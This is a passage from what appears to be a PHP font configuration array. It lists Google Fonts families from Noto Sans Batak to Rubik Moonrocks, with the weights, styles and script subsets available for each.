      'Noto Sans Batak'=>[['normal'],['batak','latin','latin-ext']],
      'Noto Sans Bengali'=>[['100','200','300','normal','500','600','700','800','900'],['bengali','latin','latin-ext']],
      'Noto Sans Bhaiksuki'=>[['normal'],['bhaiksuki']],
      'Noto Sans Brahmi'=>[['normal'],['brahmi']],
      'Noto Sans Buginese'=>[['normal'],['buginese','latin','latin-ext']],
      'Noto Sans Buhid'=>[['normal'],['buhid','latin','latin-ext']],
      'Noto Sans Canadian Aboriginal'=>[['100','200','300','normal','500','600','700','800','900'],['canadian-aboriginal','latin','latin-ext']],
      'Noto Sans Carian'=>[['normal'],['carian']],
      'Noto Sans Caucasian Albanian'=>[['normal'],['caucasian-albanian']],
      'Noto Sans Chakma'=>[['normal'],['chakma','latin','latin-ext']],
      'Noto Sans Cham'=>[['100','200','300','normal','500','600','700','800','900'],['cham','latin','latin-ext']],
      'Noto Sans Cherokee'=>[['100','200','300','normal','500','600','700','800','900'],['cherokee','latin','latin-ext']],
      'Noto Sans Coptic'=>[['normal'],['coptic','latin','latin-ext']],
      'Noto Sans Cuneiform'=>[['normal'],['cuneiform']],
      'Noto Sans Cypriot'=>[['normal'],['cypriot']],
      'Noto Sans Deseret'=>[['normal'],['deseret']],
      'Noto Sans Devanagari'=>[['100','200','300','normal','500','600','700','800','900'],['devanagari','latin','latin-ext']],
      'Noto Sans Display'=>[['100','200','300','normal','500','600','700','800','900','100italic','200italic','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['cyrillic','cyrillic-ext','greek','greek-ext','latin','latin-ext','vietnamese']],
      'Noto Sans Duployan'=>[['normal'],['duployan']],
      'Noto Sans Egyptian Hieroglyphs'=>[['normal'],['egyptian-hieroglyphs']],
      'Noto Sans Elbasan'=>[['normal'],['elbasan']],
      'Noto Sans Elymaic'=>[['normal'],['elymaic']],
      'Noto Sans Ethiopic'=>[['100','200','300','normal','500','600','700','800','900'],['ethiopic','latin','latin-ext']],
      'Noto Sans Georgian'=>[['100','200','300','normal','500','600','700','800','900'],['georgian','latin','latin-ext']],
      'Noto Sans Glagolitic'=>[['normal'],['glagolitic']],
      'Noto Sans Gothic'=>[['normal'],['gothic']],
      'Noto Sans Grantha'=>[['normal'],['grantha','latin','latin-ext']],
      'Noto Sans Gujarati'=>[['100','200','300','normal','500','600','700','800','900'],['gujarati','latin','latin-ext']],
      'Noto Sans Gunjala Gondi'=>[['normal'],['gunjala-gondi']],
      'Noto Sans Gurmukhi'=>[['100','200','300','normal','500','600','700','800','900'],['gurmukhi','latin','latin-ext']],
      'Noto Sans HK'=>[['100','300','normal','500','700','900'],['chinese-hongkong','latin']],
      'Noto Sans Hanifi Rohingya'=>[['normal','500','600','700'],['hanifi-rohingya']],
      'Noto Sans Hanunoo'=>[['normal'],['hanunoo','latin','latin-ext']],
      'Noto Sans Hatran'=>[['normal'],['hatran']],
      'Noto Sans Hebrew'=>[['100','200','300','normal','500','600','700','800','900'],['hebrew','latin','latin-ext']],
      'Noto Sans Imperial Aramaic'=>[['normal'],['imperial-aramaic']],
      'Noto Sans Indic Siyaq Numbers'=>[['normal'],['indic-siyaq-numbers']],
      'Noto Sans Inscriptional Pahlavi'=>[['normal'],['inscriptional-pahlavi']],
      'Noto Sans Inscriptional Parthian'=>[['normal'],['inscriptional-parthian']],
      'Noto Sans JP'=>[['100','300','normal','500','700','900'],['japanese','latin']],
      'Noto Sans Javanese'=>[['normal','500','600','700'],['javanese','latin','latin-ext']],
      'Noto Sans KR'=>[['100','300','normal','500','700','900'],['korean','latin']],
      'Noto Sans Kaithi'=>[['normal'],['kaithi']],
      'Noto Sans Kannada'=>[['100','200','300','normal','500','600','700','800','900'],['kannada','latin','latin-ext']],
      'Noto Sans Kayah Li'=>[['normal','500','600','700'],['kayah-li','latin','latin-ext']],
      'Noto Sans Kharoshthi'=>[['normal'],['kharoshthi']],
      'Noto Sans Khmer'=>[['100','200','300','normal','500','600','700','800','900'],['khmer','latin','latin-ext']],
      'Noto Sans Khojki'=>[['normal'],['khojki','latin','latin-ext']],
      'Noto Sans Khudawadi'=>[['normal'],['khudawadi']],
      'Noto Sans Lao'=>[['100','200','300','normal','500','600','700','800','900'],['lao','latin','latin-ext']],
      'Noto Sans Lao Looped'=>[['100','200','300','normal','500','600','700','800','900'],['lao','latin','latin-ext']],
      'Noto Sans Lepcha'=>[['normal'],['latin','latin-ext','lepcha']],
      'Noto Sans Limbu'=>[['normal'],['latin','latin-ext','limbu']],
      'Noto Sans Linear A'=>[['normal'],['linear-a']],
      'Noto Sans Linear B'=>[['normal'],['linear-b']],
      'Noto Sans Lisu'=>[['normal','500','600','700'],['latin','latin-ext','lisu']],
      'Noto Sans Lycian'=>[['normal'],['lycian']],
      'Noto Sans Lydian'=>[['normal'],['lydian']],
      'Noto Sans Mahajani'=>[['normal'],['mahajani']],
      'Noto Sans Malayalam'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','malayalam']],
      'Noto Sans Mandaic'=>[['normal'],['mandaic']],
      'Noto Sans Manichaean'=>[['normal'],['manichaean']],
      'Noto Sans Marchen'=>[['normal'],['marchen']],
      'Noto Sans Masaram Gondi'=>[['normal'],['latin','latin-ext','masaram-gondi']],
      'Noto Sans Math'=>[['normal'],['math']],
      'Noto Sans Mayan Numerals'=>[['normal'],['mayan-numerals']],
      'Noto Sans Medefaidrin'=>[['normal','500','600','700'],['latin','latin-ext','medefaidrin']],
      'Noto Sans Meetei Mayek'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','meetei-mayek']],
      'Noto Sans Mende Kikakui'=>[['normal'],['latin','latin-ext','mende-kikakui']],
      'Noto Sans Meroitic'=>[['normal'],['meroitic']],
      'Noto Sans Miao'=>[['normal'],['latin','latin-ext','miao']],
      'Noto Sans Modi'=>[['normal'],['latin','latin-ext','modi']],
      'Noto Sans Mongolian'=>[['normal'],['latin','latin-ext','mongolian']],
      'Noto Sans Mono'=>[['100','200','300','normal','500','600','700','800','900'],['cyrillic','cyrillic-ext','greek','greek-ext','latin','latin-ext','vietnamese']],
      'Noto Sans Mro'=>[['normal'],['mro']],
      'Noto Sans Multani'=>[['normal'],['latin','latin-ext','multani']],
      'Noto Sans Myanmar'=>[['100','200','300','normal','500','600','700','800','900'],['myanmar']],
      'Noto Sans N Ko'=>[['normal'],['nko']],
      'Noto Sans Nabataean'=>[['normal'],['nabataean']],
      'Noto Sans New Tai Lue'=>[['normal','500','600','700'],['latin','latin-ext','new-tai-lue']],
      'Noto Sans Newa'=>[['normal'],['latin','latin-ext','newa']],
      'Noto Sans Nushu'=>[['normal'],['nushu']],
      'Noto Sans Ogham'=>[['normal'],['ogham']],
      'Noto Sans Ol Chiki'=>[['normal','500','600','700'],['latin','latin-ext','ol-chiki']],
      'Noto Sans Old Hungarian'=>[['normal'],['old-hungarian']],
      'Noto Sans Old Italic'=>[['normal'],['old-italic']],
      'Noto Sans Old North Arabian'=>[['normal'],['old-north-arabian']],
      'Noto Sans Old Permic'=>[['normal'],['old-permic']],
      'Noto Sans Old Persian'=>[['normal'],['old-persian']],
      'Noto Sans Old Sogdian'=>[['normal'],['old-sogdian']],
      'Noto Sans Old South Arabian'=>[['normal'],['old-south-arabian']],
      'Noto Sans Old Turkic'=>[['normal'],['old-turkic']],
      'Noto Sans Oriya'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','oriya']],
      'Noto Sans Osage'=>[['normal'],['latin','latin-ext','osage']],
      'Noto Sans Osmanya'=>[['normal'],['latin','latin-ext','osmanya']],
      'Noto Sans Pahawh Hmong'=>[['normal'],['latin','latin-ext','pahawh-hmong']],
      'Noto Sans Palmyrene'=>[['normal'],['palmyrene']],
      'Noto Sans Pau Cin Hau'=>[['normal'],['latin','latin-ext','pau-cin-hau']],
      'Noto Sans Phags Pa'=>[['normal'],['phags-pa']],
      'Noto Sans Phoenician'=>[['normal'],['phoenician']],
      'Noto Sans Psalter Pahlavi'=>[['normal'],['psalter-pahlavi']],
      'Noto Sans Rejang'=>[['normal'],['latin','latin-ext','rejang']],
      'Noto Sans Runic'=>[['normal'],['runic']],
      'Noto Sans SC'=>[['100','300','normal','500','700','900'],['chinese-simplified','latin']],
      'Noto Sans Samaritan'=>[['normal'],['samaritan']],
      'Noto Sans Saurashtra'=>[['normal'],['latin','latin-ext','saurashtra']],
      'Noto Sans Sharada'=>[['normal'],['latin','latin-ext','sharada']],
      'Noto Sans Shavian'=>[['normal'],['shavian']],
      'Noto Sans Siddham'=>[['normal'],['latin','latin-ext','siddham']],
      'Noto Sans Sinhala'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','sinhala']],
      'Noto Sans Sogdian'=>[['normal'],['sogdian']],
      'Noto Sans Sora Sompeng'=>[['normal','500','600','700'],['latin','latin-ext','sora-sompeng']],
      'Noto Sans Soyombo'=>[['normal'],['soyombo']],
      'Noto Sans Sundanese'=>[['normal','500','600','700'],['latin','latin-ext','sundanese']],
      'Noto Sans Syloti Nagri'=>[['normal'],['latin','latin-ext','syloti-nagri']],
      'Noto Sans Symbols'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','symbols']],
      'Noto Sans Symbols 2'=>[['normal'],['symbols']],
      'Noto Sans Syriac'=>[['100','normal','900'],['syriac']],
      'Noto Sans TC'=>[['100','300','normal','500','700','900'],['chinese-traditional','latin']],
      'Noto Sans Tagalog'=>[['normal'],['latin','latin-ext','tagalog']],
      'Noto Sans Tagbanwa'=>[['normal'],['latin','latin-ext','tagbanwa']],
      'Noto Sans Tai Le'=>[['normal'],['latin','latin-ext','tai-le']],
      'Noto Sans Tai Tham'=>[['normal','500','600','700'],['latin','latin-ext','tai-tham']],
      'Noto Sans Tai Viet'=>[['normal'],['latin','latin-ext','tai-viet']],
      'Noto Sans Takri'=>[['normal'],['latin','latin-ext','takri']],
      'Noto Sans Tamil'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','tamil']],
      'Noto Sans Tamil Supplement'=>[['normal'],['tamil-supplement']],
      'Noto Sans Telugu'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','telugu']],
      'Noto Sans Thaana'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','thaana']],
      'Noto Sans Thai'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','thai']],
      'Noto Sans Thai Looped'=>[['100','200','300','normal','500','600','700','800','900'],['thai']],
      'Noto Sans Tifinagh'=>[['normal'],['tifinagh']],
      'Noto Sans Tirhuta'=>[['normal'],['tirhuta']],
      'Noto Sans Ugaritic'=>[['normal'],['ugaritic']],
      'Noto Sans Vai'=>[['normal'],['latin','latin-ext','vai']],
      'Noto Sans Wancho'=>[['normal'],['latin','latin-ext','wancho']],
      'Noto Sans Warang Citi'=>[['normal'],['latin','latin-ext','warang-citi']],
      'Noto Sans Yi'=>[['normal'],['latin','latin-ext','yi']],
      'Noto Sans Zanabazar Square'=>[['normal'],['latin','latin-ext','zanabazar-square']],
      'Noto Serif'=>[['normal','italic','700','700italic'],['cyrillic','cyrillic-ext','greek','greek-ext','latin','latin-ext','vietnamese']],
      'Noto Serif Ahom'=>[['normal'],['ahom','latin','latin-ext']],
      'Noto Serif Armenian'=>[['100','200','300','normal','500','600','700','800','900'],['armenian','latin','latin-ext']],
      'Noto Serif Balinese'=>[['normal'],['balinese','latin','latin-ext']],
      'Noto Serif Bengali'=>[['100','200','300','normal','500','600','700','800','900'],['bengali','latin','latin-ext']],
      'Noto Serif Devanagari'=>[['100','200','300','normal','500','600','700','800','900'],['devanagari','latin','latin-ext']],
      'Noto Serif Display'=>[['100','200','300','normal','500','600','700','800','900','100italic','200italic','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['cyrillic','cyrillic-ext','greek','greek-ext','latin','latin-ext','vietnamese']],
      'Noto Serif Dogra'=>[['normal'],['dogra']],
      'Noto Serif Ethiopic'=>[['100','200','300','normal','500','600','700','800','900'],['ethiopic','latin','latin-ext']],
      'Noto Serif Georgian'=>[['100','200','300','normal','500','600','700','800','900'],['georgian','latin','latin-ext']],
      'Noto Serif Grantha'=>[['normal'],['grantha','latin','latin-ext']],
      'Noto Serif Gujarati'=>[['100','200','300','normal','500','600','700','800','900'],['gujarati','latin','latin-ext']],
      'Noto Serif Gurmukhi'=>[['100','200','300','normal','500','600','700','800','900'],['gurmukhi','latin','latin-ext']],
      'Noto Serif HK'=>[['200','300','normal','500','600','700','800','900'],['chinese-hongkong','cyrillic','latin','latin-ext','vietnamese']],
      'Noto Serif Hebrew'=>[['100','200','300','normal','500','600','700','800','900'],['hebrew','latin','latin-ext']],
      'Noto Serif JP'=>[['200','300','normal','500','600','700','900'],['japanese','latin']],
      'Noto Serif KR'=>[['200','300','normal','500','600','700','900'],['korean','latin']],
      'Noto Serif Kannada'=>[['100','200','300','normal','500','600','700','800','900'],['kannada','latin','latin-ext']],
      'Noto Serif Khmer'=>[['100','200','300','normal','500','600','700','800','900'],['khmer','latin','latin-ext']],
      'Noto Serif Khojki'=>[['normal','500','600','700'],['khojki','latin','latin-ext']],
      'Noto Serif Lao'=>[['100','200','300','normal','500','600','700','800','900'],['lao','latin','latin-ext']],
      'Noto Serif Malayalam'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','malayalam']],
      'Noto Serif Myanmar'=>[['100','200','300','normal','500','600','700','800','900'],['myanmar']],
      'Noto Serif Nyiakeng Puachue Hmong'=>[['normal','500','600','700'],['nyiakeng-puachue-hmong']],
      'Noto Serif Oriya'=>[['normal','500','600','700'],['latin','latin-ext','oriya']],
      'Noto Serif SC'=>[['200','300','normal','500','600','700','900'],['chinese-simplified','latin']],
      'Noto Serif Sinhala'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','sinhala']],
      'Noto Serif TC'=>[['200','300','normal','500','600','700','900'],['chinese-traditional','latin']],
      'Noto Serif Tamil'=>[['100','200','300','normal','500','600','700','800','900','100italic','200italic','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['latin','latin-ext','tamil']],
      'Noto Serif Tangut'=>[['normal'],['tangut']],
      'Noto Serif Telugu'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','telugu']],
      'Noto Serif Thai'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','thai']],
      'Noto Serif Tibetan'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','tibetan']],
      'Noto Serif Yezidi'=>[['normal','500','600','700'],['yezidi']],
      'Noto Traditional Nushu'=>[['normal'],['nushu']],
      'Nova Cut'=>[['normal'],['latin']],
      'Nova Flat'=>[['normal'],['latin']],
      'Nova Mono'=>[['normal'],['greek','latin']],
      'Nova Oval'=>[['normal'],['latin']],
      'Nova Round'=>[['normal'],['latin']],
      'Nova Script'=>[['normal'],['latin']],
      'Nova Slim'=>[['normal'],['latin']],
      'Nova Square'=>[['normal'],['latin']],
      'Numans'=>[['normal'],['latin']],
      'Nunito'=>[['200','300','normal','500','600','700','800','900','200italic','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['cyrillic','cyrillic-ext','latin','latin-ext','vietnamese']],
      'Nunito Sans'=>[['200','200italic','300','300italic','normal','italic','600','600italic','700','700italic','800','800italic','900','900italic'],['cyrillic','cyrillic-ext','latin','latin-ext','vietnamese']],
      'Nuosu SIL'=>[['normal'],['latin','latin-ext','yi']],
      'Odibee Sans'=>[['normal'],['latin']],
      'Odor Mean Chey'=>[['normal'],['khmer','latin']],
      'Offside'=>[['normal'],['latin']],
      'Oi'=>[['normal'],['cyrillic','cyrillic-ext','greek','latin','latin-ext','tamil','vietnamese']],
      'Old Standard TT'=>[['normal','italic','700'],['cyrillic','cyrillic-ext','latin','latin-ext','vietnamese']],
      'Oldenburg'=>[['normal'],['latin','latin-ext']],
      'Ole'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Oleo Script'=>[['normal','700'],['latin','latin-ext']],
      'Oleo Script Swash Caps'=>[['normal','700'],['latin','latin-ext']],
      'Oooh Baby'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Open Sans'=>[['300','normal','500','600','700','800','300italic','italic','500italic','600italic','700italic','800italic'],['cyrillic','cyrillic-ext','greek','greek-ext','hebrew','latin','latin-ext','vietnamese']],
      'Oranienbaum'=>[['normal'],['cyrillic','cyrillic-ext','latin','latin-ext']],
      'Orbitron'=>[['normal','500','600','700','800','900'],['latin']],
      'Oregano'=>[['normal','italic'],['latin','latin-ext']],
      'Orelega One'=>[['normal'],['cyrillic','cyrillic-ext','latin','latin-ext']],
      'Orienta'=>[['normal'],['latin','latin-ext']],
      'Original Surfer'=>[['normal'],['latin']],
      'Oswald'=>[['200','300','normal','500','600','700'],['cyrillic','cyrillic-ext','latin','latin-ext','vietnamese']],
      'Outfit'=>[['100','200','300','normal','500','600','700','800','900'],['latin']],
      'Over the Rainbow'=>[['normal'],['latin']],
      'Overlock'=>[['normal','italic','700','700italic','900','900italic'],['latin','latin-ext']],
      'Overlock SC'=>[['normal'],['latin','latin-ext']],
      'Overpass'=>[['100','200','300','normal','500','600','700','800','900','100italic','200italic','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['cyrillic','cyrillic-ext','latin','latin-ext','vietnamese']],
      'Overpass Mono'=>[['300','normal','500','600','700'],['cyrillic','cyrillic-ext','latin','latin-ext','vietnamese']],
      'Ovo'=>[['normal'],['latin']],
      'Oxanium'=>[['200','300','normal','500','600','700','800'],['latin','latin-ext']],
      'Oxygen'=>[['300','normal','700'],['latin','latin-ext']],
      'Oxygen Mono'=>[['normal'],['latin','latin-ext']],
      'PT Mono'=>[['normal'],['cyrillic','cyrillic-ext','latin','latin-ext']],
      'PT Sans'=>[['normal','italic','700','700italic'],['cyrillic','cyrillic-ext','latin','latin-ext']],
      'PT Sans Caption'=>[['normal','700'],['cyrillic','cyrillic-ext','latin','latin-ext']],
      'PT Sans Narrow'=>[['normal','700'],['cyrillic','cyrillic-ext','latin','latin-ext']],
      'PT Serif'=>[['normal','italic','700','700italic'],['cyrillic','cyrillic-ext','latin','latin-ext']],
      'PT Serif Caption'=>[['normal','italic'],['cyrillic','cyrillic-ext','latin','latin-ext']],
      'Pacifico'=>[['normal'],['cyrillic','cyrillic-ext','latin','latin-ext','vietnamese']],
      'Padauk'=>[['normal','700'],['latin','latin-ext','myanmar']],
      'Palanquin'=>[['100','200','300','normal','500','600','700'],['devanagari','latin','latin-ext']],
      'Palanquin Dark'=>[['normal','500','600','700'],['devanagari','latin','latin-ext']],
      'Pangolin'=>[['normal'],['cyrillic','cyrillic-ext','latin','latin-ext','vietnamese']],
      'Paprika'=>[['normal'],['latin','latin-ext']],
      'Parisienne'=>[['normal'],['latin','latin-ext']],
      'Passero One'=>[['normal'],['latin','latin-ext']],
      'Passion One'=>[['normal','700','900'],['latin','latin-ext']],
      'Passions Conflict'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Pathway Gothic One'=>[['normal'],['latin','latin-ext']],
      'Patrick Hand'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Patrick Hand SC'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Pattaya'=>[['normal'],['cyrillic','latin','latin-ext','thai','vietnamese']],
      'Patua One'=>[['normal'],['latin']],
      'Pavanam'=>[['normal'],['latin','latin-ext','tamil']],
      'Paytone One'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Peddana'=>[['normal'],['latin','telugu']],
      'Peralta'=>[['normal'],['latin','latin-ext']],
      'Permanent Marker'=>[['normal'],['latin']],
      'Petemoss'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Petit Formal Script'=>[['normal'],['latin','latin-ext']],
      'Petrona'=>[['100','200','300','normal','500','600','700','800','900','100italic','200italic','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['latin','latin-ext','vietnamese']],
      'Philosopher'=>[['normal','italic','700','700italic'],['cyrillic','cyrillic-ext','latin','vietnamese']],
      'Piazzolla'=>[['100','200','300','normal','500','600','700','800','900','100italic','200italic','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['cyrillic','cyrillic-ext','greek','greek-ext','latin','latin-ext','vietnamese']],
      'Piedra'=>[['normal'],['latin','latin-ext']],
      'Pinyon Script'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Pirata One'=>[['normal'],['latin','latin-ext']],
      'Plaster'=>[['normal'],['latin','latin-ext']],
      'Play'=>[['normal','700'],['cyrillic','cyrillic-ext','greek','latin','latin-ext','vietnamese']],
      'Playball'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Playfair Display'=>[['normal','500','600','700','800','900','italic','500italic','600italic','700italic','800italic','900italic'],['cyrillic','latin','latin-ext','vietnamese']],
      'Playfair Display SC'=>[['normal','italic','700','700italic','900','900italic'],['cyrillic','latin','latin-ext','vietnamese']],
      'Plus Jakarta Sans'=>[['200','300','normal','500','600','700','800','200italic','300italic','italic','500italic','600italic','700italic','800italic'],['cyrillic-ext','latin','latin-ext','vietnamese']],
      'Podkova'=>[['normal','500','600','700','800'],['cyrillic','cyrillic-ext','latin','latin-ext','vietnamese']],
      'Poiret One'=>[['normal'],['cyrillic','latin','latin-ext']],
      'Poller One'=>[['normal'],['latin']],
      'Poly'=>[['normal','italic'],['latin']],
      'Pompiere'=>[['normal'],['latin']],
      'Pontano Sans'=>[['normal'],['latin','latin-ext']],
      'Poor Story'=>[['normal'],['korean','latin']],
      'Poppins'=>[['100','100italic','200','200italic','300','300italic','normal','italic','500','500italic','600','600italic','700','700italic','800','800italic','900','900italic'],['devanagari','latin','latin-ext']],
      'Port Lligat Sans'=>[['normal'],['latin']],
      'Port Lligat Slab'=>[['normal'],['latin']],
      'Potta One'=>[['normal'],['japanese','latin','latin-ext','vietnamese']],
      'Pragati Narrow'=>[['normal','700'],['devanagari','latin','latin-ext']],
      'Praise'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Prata'=>[['normal'],['cyrillic','cyrillic-ext','latin','vietnamese']],
      'Preahvihear'=>[['normal'],['khmer','latin']],
      'Press Start 2P'=>[['normal'],['cyrillic','cyrillic-ext','greek','latin','latin-ext']],
      'Pridi'=>[['200','300','normal','500','600','700'],['latin','latin-ext','thai','vietnamese']],
      'Princess Sofia'=>[['normal'],['latin','latin-ext']],
      'Prociono'=>[['normal'],['latin']],
      'Prompt'=>[['100','100italic','200','200italic','300','300italic','normal','italic','500','500italic','600','600italic','700','700italic','800','800italic','900','900italic'],['latin','latin-ext','thai','vietnamese']],
      'Prosto One'=>[['normal'],['cyrillic','latin','latin-ext']],
      'Proza Libre'=>[['normal','italic','500','500italic','600','600italic','700','700italic','800','800italic'],['latin','latin-ext']],
      'Public Sans'=>[['100','200','300','normal','500','600','700','800','900','100italic','200italic','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['latin','latin-ext','vietnamese']],
      'Puppies Play'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Puritan'=>[['normal','italic','700','700italic'],['latin']],
      'Purple Purse'=>[['normal'],['latin','latin-ext']],
      'Qahiri'=>[['normal'],['arabic','latin']],
      'Quando'=>[['normal'],['latin','latin-ext']],
      'Quantico'=>[['normal','italic','700','700italic'],['latin']],
      'Quattrocento'=>[['normal','700'],['latin','latin-ext']],
      'Quattrocento Sans'=>[['normal','italic','700','700italic'],['latin','latin-ext']],
      'Questrial'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Quicksand'=>[['300','normal','500','600','700'],['latin','latin-ext','vietnamese']],
      'Quintessential'=>[['normal'],['latin','latin-ext']],
      'Qwigley'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Qwitcher Grypen'=>[['normal','700'],['latin','latin-ext','vietnamese']],
      'Racing Sans One'=>[['normal'],['latin','latin-ext']],
      'Radio Canada'=>[['300','normal','500','600','700','300italic','italic','500italic','600italic','700italic'],['latin','latin-ext','vietnamese']],
      'Radley'=>[['normal','italic'],['latin','latin-ext']],
      'Rajdhani'=>[['300','normal','500','600','700'],['devanagari','latin','latin-ext']],
      'Rakkas'=>[['normal'],['arabic','latin','latin-ext']],
      'Raleway'=>[['100','200','300','normal','500','600','700','800','900','100italic','200italic','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['cyrillic','cyrillic-ext','latin','latin-ext','vietnamese']],
      'Raleway Dots'=>[['normal'],['latin','latin-ext']],
      'Ramabhadra'=>[['normal'],['latin','telugu']],
      'Ramaraja'=>[['normal'],['latin','telugu']],
      'Rambla'=>[['normal','italic','700','700italic'],['latin','latin-ext']],
      'Rammetto One'=>[['normal'],['latin','latin-ext']],
      'Rampart One'=>[['normal'],['cyrillic','japanese','latin','latin-ext']],
      'Ranchers'=>[['normal'],['latin','latin-ext']],
      'Rancho'=>[['normal'],['latin']],
      'Ranga'=>[['normal','700'],['devanagari','latin','latin-ext']],
      'Rasa'=>[['300','normal','500','600','700','300italic','italic','500italic','600italic','700italic'],['gujarati','latin','latin-ext','vietnamese']],
      'Rationale'=>[['normal'],['latin']],
      'Ravi Prakash'=>[['normal'],['latin','telugu']],
      'Readex Pro'=>[['200','300','normal','500','600','700'],['arabic','latin','latin-ext','vietnamese']],
      'Recursive'=>[['300','normal','500','600','700','800','900'],['cyrillic-ext','latin','latin-ext','vietnamese']],
      'Red Hat Display'=>[['300','normal','500','600','700','800','900','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['latin','latin-ext']],
      'Red Hat Mono'=>[['300','normal','500','600','700','300italic','italic','500italic','600italic','700italic'],['latin','latin-ext']],
      'Red Hat Text'=>[['300','normal','500','600','700','300italic','italic','500italic','600italic','700italic'],['latin','latin-ext']],
      'Red Rose'=>[['300','normal','500','600','700'],['latin','latin-ext','vietnamese']],
      'Redacted'=>[['normal'],['latin','latin-ext']],
      'Redacted Script'=>[['300','normal','700'],['latin','latin-ext']],
      'Redressed'=>[['normal'],['latin']],
      'Reem Kufi'=>[['normal','500','600','700'],['arabic','latin']],
      'Reem Kufi Fun'=>[['normal','500','600','700'],['arabic','latin','latin-ext','vietnamese']],
      'Reem Kufi Ink'=>[['normal'],['arabic','latin','latin-ext','vietnamese']],
      'Reenie Beanie'=>[['normal'],['latin']],
      'Reggae One'=>[['normal'],['cyrillic','japanese','latin','latin-ext']],
      'Revalia'=>[['normal'],['latin','latin-ext']],
      'Rhodium Libre'=>[['normal'],['devanagari','latin','latin-ext']],
      'Ribeye'=>[['normal'],['latin','latin-ext']],
      'Ribeye Marrow'=>[['normal'],['latin','latin-ext']],
      'Righteous'=>[['normal'],['latin','latin-ext']],
      'Risque'=>[['normal'],['latin','latin-ext']],
      'Road Rage'=>[['normal'],['latin','latin-ext','vietnamese']],
      'Roboto'=>[['100','100italic','300','300italic','normal','italic','500','500italic','700','700italic','900','900italic'],['cyrillic','cyrillic-ext','greek','greek-ext','latin','latin-ext','vietnamese']],
      'Roboto Condensed'=>[['300','300italic','normal','italic','700','700italic'],['cyrillic','cyrillic-ext','greek','greek-ext','latin','latin-ext','vietnamese']],
      'Roboto Flex'=>[['normal'],['cyrillic','cyrillic-ext','greek','latin','latin-ext','vietnamese']],
      'Roboto Mono'=>[['100','200','300','normal','500','600','700','100italic','200italic','300italic','italic','500italic','600italic','700italic'],['cyrillic','cyrillic-ext','greek','latin','latin-ext','vietnamese']],
      'Roboto Serif'=>[['100','200','300','normal','500','600','700','800','900','100italic','200italic','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['cyrillic-ext','latin','latin-ext','vietnamese']],
      'Roboto Slab'=>[['100','200','300','normal','500','600','700','800','900'],['cyrillic','cyrillic-ext','greek','greek-ext','latin','latin-ext','vietnamese']],
      'Rochester'=>[['normal'],['latin']],
      'Rock Salt'=>[['normal'],['latin']],
      'RocknRoll One'=>[['normal'],['cyrillic','japanese','latin','latin-ext']],
      'Rokkitt'=>[['100','200','300','normal','500','600','700','800','900'],['latin','latin-ext','vietnamese']],
      'Romanesco'=>[['normal'],['latin','latin-ext']],
      'Ropa Sans'=>[['normal','italic'],['latin','latin-ext']],
      'Rosario'=>[['300','normal','500','600','700','300italic','italic','500italic','600italic','700italic'],['latin','latin-ext','vietnamese']],
      'Rosarivo'=>[['normal','italic'],['latin','latin-ext']],
      'Rouge Script'=>[['normal'],['latin']],
      'Rowdies'=>[['300','normal','700'],['latin','latin-ext','vietnamese']],
      'Rozha One'=>[['normal'],['devanagari','latin','latin-ext']],
      'Rubik'=>[['300','normal','500','600','700','800','900','300italic','italic','500italic','600italic','700italic','800italic','900italic'],['cyrillic','cyrillic-ext','hebrew','latin','latin-ext']],
      'Rubik Beastly'=>[['normal'],['cyrillic','cyrillic-ext','hebrew','latin','latin-ext']],
      'Rubik Bubbles'=>[['normal'],['cyrillic','cyrillic-ext','hebrew','latin','latin-ext']],
      'Rubik Burned'=>[['normal'],['cyrillic','cyrillic-ext','hebrew','latin','latin-ext']],
      'Rubik Dirt'=>[['normal'],['cyrillic','cyrillic-ext','hebrew','latin','latin-ext']],
      'Rubik Distressed'=>[['normal'],['cyrillic','cyrillic-ext','hebrew','latin','latin-ext']],
      'Rubik Glitch'=>[['normal'],['cyrillic','cyrillic-ext','hebrew','latin','latin-ext']],
      'Rubik Iso'=>[['normal'],['cyrillic','cyrillic-ext','hebrew','latin','latin-ext']],
      'Rubik Marker Hatch'=>[['normal'],['cyrillic','cyrillic-ext','hebrew','latin','latin-ext']],
      'Rubik Maze'=>[['normal'],['cyrillic','cyrillic-ext','hebrew','latin','latin-ext']],
      'Rubik Microbe'=>[['normal'],['cyrillic','cyrillic-ext','hebrew','latin','latin-ext']],
      'Rubik Mono One'=>[['normal'],['cyrillic','latin','latin-ext']],
      'Rubik Moonrocks'=>[['normal'],['cyrillic','cyrillic-ext','hebrew','latin','latin-ext']],
